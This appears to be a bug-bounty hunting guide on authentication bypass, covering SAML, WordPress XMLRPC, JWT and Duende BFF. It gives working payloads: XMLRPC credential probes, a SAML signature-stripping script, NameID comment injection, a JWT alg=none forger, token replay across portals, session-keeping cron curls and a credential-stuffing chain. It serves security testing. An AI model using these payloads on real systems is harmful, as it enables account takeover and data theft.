Auth Bypass Hunter

Auth bypass is consistently one of the highest-paying vulnerability classes in bug bounty because it directly violates the most fundamental security control. High-value targets include:

• SSO/SAML implementations at enterprise SaaS companies (Slack, Okta, OneLogin integrations) — payouts regularly in the $5K–$25K+ range
• Admin panels and partner/internal portals — subdomain-separated admin surfaces like partners.shopify.com, admin.company.com
• Third-party auth plugin integrations — WordPress plugins (OneLogin, WP-SAML-Auth), Drupal SSO modules, any CMS with pluggable auth
• XMLRPC endpoints on WordPress — often forgotten, bypasses standard WP auth flows entirely
• OAuth callback flows — state parameter mishandling, redirect_uri mismatches
• API authentication layers — especially where auth was bolted on after the fact

URL patterns to hunt:

/xmlrpc.php /wp-login.php /saml/ /sso/ /auth/saml/callback /oauth/callback /partners.* /admin.* /?wc-api= /api/v*/auth /login?redirect= /accounts/login

Response headers signaling SSO:

X-Frame-Options: SAMEORIGIN (common on SSO portals) Set-Cookie: SAMLResponse= Location: https://idp.company.com/saml WWW-Authenticate: Bearer realm="partners"

JS patterns indicating federated auth:

// Look for in page source samlRequest RelayState SAMLResponse onelogin shibboleth okta passport.js authenticate

Tech stack signals:

• WordPress + any SSO plugin → check XMLRPC separately
• Shopify Partner API exposure → cross-tenant privilege escalation risk
• Any app advertising "SSO enabled" or "Login with [Enterprise IdP]"
• Separate subdomains for admin/partner that share session cookies with main domain
• Applications using SimpleSAMLphp, ruby-saml, python-saml

• SAMLResponse in any POST body
• openid_connect or id_token in responses
• Cookie domains set to .company.com (wildcard)

• Map all authentication entry points

• Identify the auth mechanism per entry point

• Test XMLRPC independently of SSO

• Enumerate SAML implementation

• Test cross-portal session/token reuse

• Fuzz auth parameters

• Check redirect and state parameters

• Verify impact by escalating privileges

When a target has a custom, branded login UI (e.g. customlogin.aspx, /auth/signin, /account/login), always probe the platform's legacy protocol endpoints with native credentials in parallel. These endpoints frequently outlive the custom UI's protections and accept native credentials with NO rate limit, NO MFA challenge, NO CAPTCHA, NO anti-automation. This is the WordPress XMLRPC pattern generalised across CMS / portal / framework stacks.

• Identify the tech stack from headers + paths (use hunt-misc Attack Surface Signals).
• Find the row above that matches.
• Probe the legacy endpoint anonymously to confirm it's reachable and not 403/404.
• Test with synthetic credentials to confirm it accepts native credential format and returns differential responses (success vs failure).
• Verify there is no rate limit, no lockout, no CAPTCHA — burst 10 requests at the same user, confirm uniform timing.
• Report as Critical / High depending on chain to ATO: an anonymous + unlimited credential brute-force endpoint is consistently Critical on bug-bounty programs.

XMLRPC auth probe (bypasses SSO):

curl -s -X POST https://target.com/xmlrpc.php \   -H "Content-Type: text/xml" \   -d '<?xml version="1.0"?> <methodCall>   <methodName>system.listMethods</methodName>   <params></params> </methodCall>'

# If 200 with method list → XMLRPC is enabled, test auth: curl -s -X POST https://target.com/xmlrpc.php \   -H "Content-Type: text/xml" \   -d '<?xml version="1.0"?> <methodCall>   <methodName>wp.getUsersBlogs</methodName>   <params>     <param><value><string>admin</string></value></param>     <param><value><string>password</string></value></param>   </params> </methodCall>'

SAML signature stripping (send unsigned assertion):

import base64, re

# Decode captured SAMLResponse saml_b64 = "BASE64_FROM_BURP" saml_xml = base64.b64decode(saml_b64).decode()
# Strip the Signature element entirely stripped = re.sub(r'<ds:Signature.*?</ds:Signature>', '', saml_xml, flags=re.DOTALL)
# Re-encode and submit print(base64.b64encode(stripped.encode()).decode())

SAML XML comment injection (username confusion):

<!-- Original NameID --> <NameID>attacker@evil.com</NameID>

<!-- Injected to confuse parser --> <NameID>attacker@evil.com<!---->.victim@company.com</NameID>
<!-- Or namespace confusion --> <NameID xmlns:evil="http://evil.com">victim@company.com</NameID>

Partner/cross-portal token reuse test:

# Get token from partner portal TOKEN=$(curl -s -X POST https://partners.target.com/login \   -d 'email=attacker@test.com&password=pass' \   -c cookies.txt | grep -o 'token=[^;]*')

# Replay against admin portal curl -s https://admin.target.com/dashboard \   -H "Authorization: Bearer $TOKEN" \   -H "Cookie: $TOKEN"

JWT none algorithm attack:

import base64, json

header = base64.b64encode(json.dumps({"alg":"none","typ":"JWT"}).encode()).decode().rstrip('=') payload = base64.b64encode(json.dumps({"user_id":1,"role":"admin","email":"victim@company.com"}).encode()).decode().rstrip('=') token = f"{header}.{payload}." print(token)

Grep patterns for auth bypass surface:

# Find XMLRPC in scope grep -r "xmlrpc" scope_urls.txt

# Find SSO indicators in JS grep -rE "(SAMLResponse|samlRequest|RelayState|onelogin|shibboleth)" *.js
# Find partner/admin subdomains subfinder -d target.com | grep -E "(admin|partner|internal|sso|auth|login)"

• SSO bypasses local auth entirely at the UI layer, but not at the API layer — developers disable the login form but forget that API endpoints (/xmlrpc.php, REST API, mobile API) have their own auth handlers that still accept native credentials.

• SAML signature validation is skipped or optional — library defaults often don't enforce signature checking; developers use wantAssertionsSigned: false or fail to configure the IdP certificate correctly.

• Shared session infrastructure across different trust levels — partner portals and admin portals reuse the same session cookie or JWT secret because they're built on the same internal framework, assuming access control at the application layer is sufficient.

• Trust inheritance in multi-tenant architectures — a token issued in a lower-privilege context (partner, reseller) is accepted in a higher-privilege context because the verification only checks signature validity, not the issuance context.

• Plugin/module auth is independent of application auth — every WordPress plugin that handles auth (contact forms, REST API extensions, WooCommerce) may implement its own auth handler inconsistently with the main site's SSO.

• XML parsing inconsistencies — different XML parsers (used by SP vs. IdP) handle comments, namespaces, and whitespace differently, enabling confusion attacks where the signed content differs from the evaluated content.

Before writing any report, answer these three questions:

• What can the attacker DO right now?

• What does the victim LOSE?

• Can it be reproduced in 10 minutes from scratch?

Scenario 1 — SSO Enforcement Bypassed via Forgotten Protocol Endpoint A large ride-sharing company enforced SSO (via OneLogin) on all WordPress-based internal/public properties. The XMLRPC endpoint (/xmlrpc.php) remained active and accepted WordPress-native credentials entirely independent of the SSO flow. An attacker with any valid WP-native credentials (obtained via credential stuffing or from a previous breach) could authenticate directly through XMLRPC, bypassing MFA, SSO policies, and IP restrictions enforced on the main login form. Impact: Full authenticated access to all WordPress functions available to that user role, including content management and potentially admin functions.

Scenario 2 — SAML Assertion Forgery via Signature Validation Failure A major enterprise communication platform's SAML SP implementation failed to properly validate assertion signatures in specific edge cases. By manipulating the XML structure of a captured SAMLResponse (specifically through comment injection or namespace prefix attacks), an attacker could modify the NameID value to impersonate any user in an organization — including workspace administrators — without possessing that user's credentials or private key material. Impact: Complete account takeover of any user within a SAML-enabled organization; attacker gains access to all messages, files, and integrations in the workspace.

Scenario 3 — Cross-Portal Privilege Escalation via Shared Auth Backend An e-commerce platform's partner/reseller portal issued authentication tokens that were validated by the same backend service as the merchant admin portal. A partner-level account (lower trust, external-facing) could use its issued credentials or tokens to authenticate directly against admin-tier API endpoints, bypassing the merchant onboarding and permission assignment flow. Impact: A malicious partner could access any merchant's admin panel, modify store configurations, exfiltrate customer PII and payment data, or install malicious scripts — affecting thousands of merchant storefronts.

The following real, verified bug-bounty / coordinated-disclosure cases extend this skill. Spans 4 SAML subclasses, 4 JWT subclasses, 1 legacy-protocol (XMLRPC), and 2 partner-portal cross-domain reuse patterns.

• GitHub Enterprise Server — SAML XSW via parser differential (CVE-2025-25291/25292) ([H1 #2579939](https://hackerone.com/reports/2579939) · [Blog](https://github.blog/security/sign-in-as-anyone-bypassing-saml-sso-authentication-with-parser-differentials/))

• GitHub Enterprise — SAML signature bypass on encrypted assertions (CVE-2024-4985) ([H1 #2475347](https://hackerone.com/reports/2475347) · [ProjectDiscovery advisory](https://projectdiscovery.io/blog/github-enterprise-saml-authentication-bypass))

• Uber — SAML auth bypass on uchat.uberinternal.com ([H1 #223014](https://hackerone.com/reports/223014))

• Uber — OneLogin SSO bypass via WordPress XMLRPC ([H1 #138869](https://hackerone.com/reports/138869))

• Slack — SAML "confused-deputy" assertion reuse ([Writeup](http://blog.intothesymmetry.com/2017/10/slack-saml-authentication-bypass.html))

• HackerOne — SAML signup domain enforcement bypass via control characters ([H1 #2101076](https://hackerone.com/reports/2101076))

• 8x8 / Jitsi-Meet — JWT alg-confusion (asymmetric verifier accepts symmetric alg) ([H1 #1210502](https://hackerone.com/reports/1210502))

• Argo CD (Internet Bug Bounty) — JWT audience claim not validated (CVE-2023-22482) ([H1 #1889161](https://hackerone.com/reports/1889161))

Duende BFF deployments expose two distinct auth-bypass families beyond the CSRF angle covered in hunt-csrf. Both are documented architectural realities, not unicorn CVEs.

Attack class 1 — YARP UserOrClient / UserOrNone privilege escalation

Duende.BFF.Yarp attaches access tokens to proxied routes via WithAccessToken(TokenType.X) metadata. The misconfig pattern: developer marks a route UserOrClient (use user token if logged in, else fall back to client-credentials token) intending it for a "public catalog" endpoint. The client-credentials (M2M) token frequently has broader scope (api.admin, internal.read) than any user token. An unauthenticated attacker hitting that route gets the request proxied with the service-account token attached to the downstream API — privilege escalation by design when the downstream trusts the bearer.

Payload shape: identify a BFF route marked TokenType.UserOrClient (visible via 401-vs-200 differential when no session, or via leaked OpenAPI/NSwag spec). Hit it with no cookies → BFF forwards with M2M token granting admin-scope downstream. ([docs.duendesoftware.com/bff/fundamentals/apis/yarp](https://docs.duendesoftware.com/bff/fundamentals/apis/yarp/))

Adjacent confirmed CVE: CVE-2024-51987 in Duende.AccessTokenManagement.OpenIdConnect — "HTTP client uses incorrect token after refresh" — materially the same family of token-confusion at the proxy layer. Moderate severity, fixed 2024. ([GHSA-...51987](https://github.com/advisories?query=duende))

Attack class 2 — Cookie-domain wildcard + sliding expiration = persistent ATO

When BFF session cookie has Domain=.example.com (devs do this to share login across app. and admin.), the __Host- prefix protection is dropped. Any sibling subdomain — including a taken-over one (legacy.example.com CNAMEd to deprovisioned Heroku/S3) — can write Set-Cookie: .AspNetCore.Cookies=<attacker_session>; Domain=.example.com. Victim hits app.example.com carrying the attacker's session = session-fixation ATO.

If SlidingExpiration=true (default) and ExpireTimeSpan is large (e.g. 8h), an exfiltrated cookie remains valid and keeps sliding forward as long as the attacker periodically calls /bff/user. There is no server-side refresh-token rotation check on the cookie itself — only the OIDC token (server-side) rotates. Persistent ATO window per stolen cookie.

Payload shape: subdomain takeover → write the BFF session cookie with Domain=.example.com → victim's next visit to app.example.com adopts attacker's session. Cron-curl GET /bff/user -H 'X-CSRF: 1' -b '.AspNetCore.Cookies=...' every 6h indefinitely to keep the session alive.

Hardening reference: [docs.duendesoftware.com/bff/fundamentals/session/handlers](https://docs.duendesoftware.com/bff/fundamentals/session/handlers/), [nestenius.se BFF cookie guide](https://nestenius.se/net/bff-in-asp-net-core-3-the-bff-pattern-explained/), [Langkemper on __Host- prefix](https://www.sjoerdlangkemper.nl/2017/02/09/cookie-prefixes/).

Attack class 3 — /bff/user claim disclosure

GET /bff/user returns the full claim set of the active session as a JSON array — sub, sid, email, bff:session_expires_in, bff:session_state, bff:logout_url, plus every custom claim the OP issued (department, role, internal employee ID, tenant ID). The endpoint is gated only by session cookie + X-CSRF: 1. If AnonymousSessionResponse=Response200 is set, the endpoint also acts as a session probe (200 + claims vs 200 + null) usable as an auth-state oracle. Low/Medium info-disclosure on its own; valuable as recon for the YARP token-confusion class above. ([docs.duendesoftware.com/bff/fundamentals/session/management/user](https://docs.duendesoftware.com/bff/fundamentals/session/management/user/))

Evidence strength + reporting tip

No Duende.BFF-direct CVE exists. The three classes are exploitable via real-world misconfigurations; CVE-2024-51987 and CVE-2025-26620 in the adjacent Duende.AccessTokenManagement packages make token-confusion a confirmed family. Report by chain impact (e.g., "low-priv session reaches admin-scope downstream API via UserOrClient route" → Critical) rather than by CVE citation, since the issue is design-level.

Cross-references for the chain:

• hunt-csrf — the role-partitioned antiforgery class (the CSRF angle on the same BFF surface).
• hunt-subdomain-takeover / hunt-subdomain — required primitive for the cookie-domain attack.

• hunt-idor — Auth bypass without object-level access is half a finding; pair them. Chain primitive: legacy /v1/users/{id} route missing both auth middleware AND ownership check = unauthenticated cross-tenant data read via direct ID substitution → full PII dump from "I am nobody" starting position.
• hunt-ato — Auth-bypass primitives feed the ATO funnel. Chain primitive: XMLRPC native-cred acceptance + no rate limit on wp.getUsersBlogs → credential-stuff with breach corpus from hunt-misc recon → system.multicall batches 1000 cred pairs per request → one valid pair = ATO bypassing the SSO + MFA the UI enforces.
• hunt-sharepoint — The SP equivalent of the WordPress XMLRPC pattern lives here. Chain primitive: /_vti_bin/Authentication.asmx anonymous reachable + native Forms-auth credential accepted + zero rate limit = unlimited credential brute-force endpoint bypassing custom-branded customlogin.aspx protections → FedAuth cookie → full SharePoint farm access.
• security-arsenal — Pull the JWT-attack payloads section (alg=none, kid path-traversal, JWK injection, RS256→HS256 key confusion) when JWT validation is the auth wall; pull the SAML signature-stripping section when the SP accepts unsigned assertions.
• triage-validation — Run the Pre-Severity Gate before claiming Critical on an "auth bypass" that only enumerates usernames or only reveals a 401-vs-403 differential. Username enumeration alone without lockout-amplification is consistently N/A or Informational on H1.